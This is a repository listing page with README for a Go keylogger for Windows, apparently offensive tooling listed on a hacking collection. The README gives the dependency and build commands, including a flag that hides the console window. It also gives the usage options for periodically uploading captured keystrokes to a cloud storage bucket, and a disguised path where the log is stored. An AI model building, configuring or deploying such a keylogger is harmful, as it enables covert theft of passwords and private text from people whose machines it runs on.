https://github.com/uknowsec/keylogger
  
  
    键盘记录,支持定时回传 
    https://github.com/uknowsec/keylogger
  
        Last synced: 7 months ago 
        JSON representation
    
键盘记录,支持定时回传
- Host: GitHub
 - URL: https://github.com/uknowsec/keylogger
 - Owner: uknowsec
 - Created: 2020-11-10T07:15:50.000Z (almost 5 years ago)
 - Default Branch: main
 - Last Pushed: 2021-05-19T08:33:58.000Z (over 4 years ago)
 - Last Synced: 2025-03-22T17:11:26.308Z (8 months ago)
 - Language: Go
 - Homepage:
 - Size: 3.47 MB
 - Stars: 140
 - Watchers: 4
 - Forks: 35
 - Open Issues: 1
 - 
            Metadata Files:
            
- Readme: README.md
 
 
Awesome Lists containing this project
- awesome-hacking-lists - uknowsec/keylogger - 键盘记录,支持定时回传 (Go)
 
README
          # keylogger
## Download Dependencies
```
go mod download # Use Proxy If you are in China!
```
If you are in China Mainland, please check: https://goproxy.cn/ for golang dependency download proxy setting guide.
## Compile
```
go build -trimpath -ldflags "-s -w -H=windowsgui" key.go
```
Tested only on Windows.
### Usage
Without any runtime params, it will never upload any recorded data.
To prevent Aliyun OSS Access Key from leakage, please use with caution.
```
> keylogger.exe -h
Usage of keylogger.exe:
  -o string
        format: bucketName:accessKeyId:accessKeySecret:endpoint
  -t int
        Upload interval,default: 60min (default 60)
```
## Data
```
C:\Users\\AppData\Local\Packages\Microsoft.Messaging\360se_dump.tmp
```
### References
https://github.com/mabangde/pentesttools/blob/master/golang/keylogger.go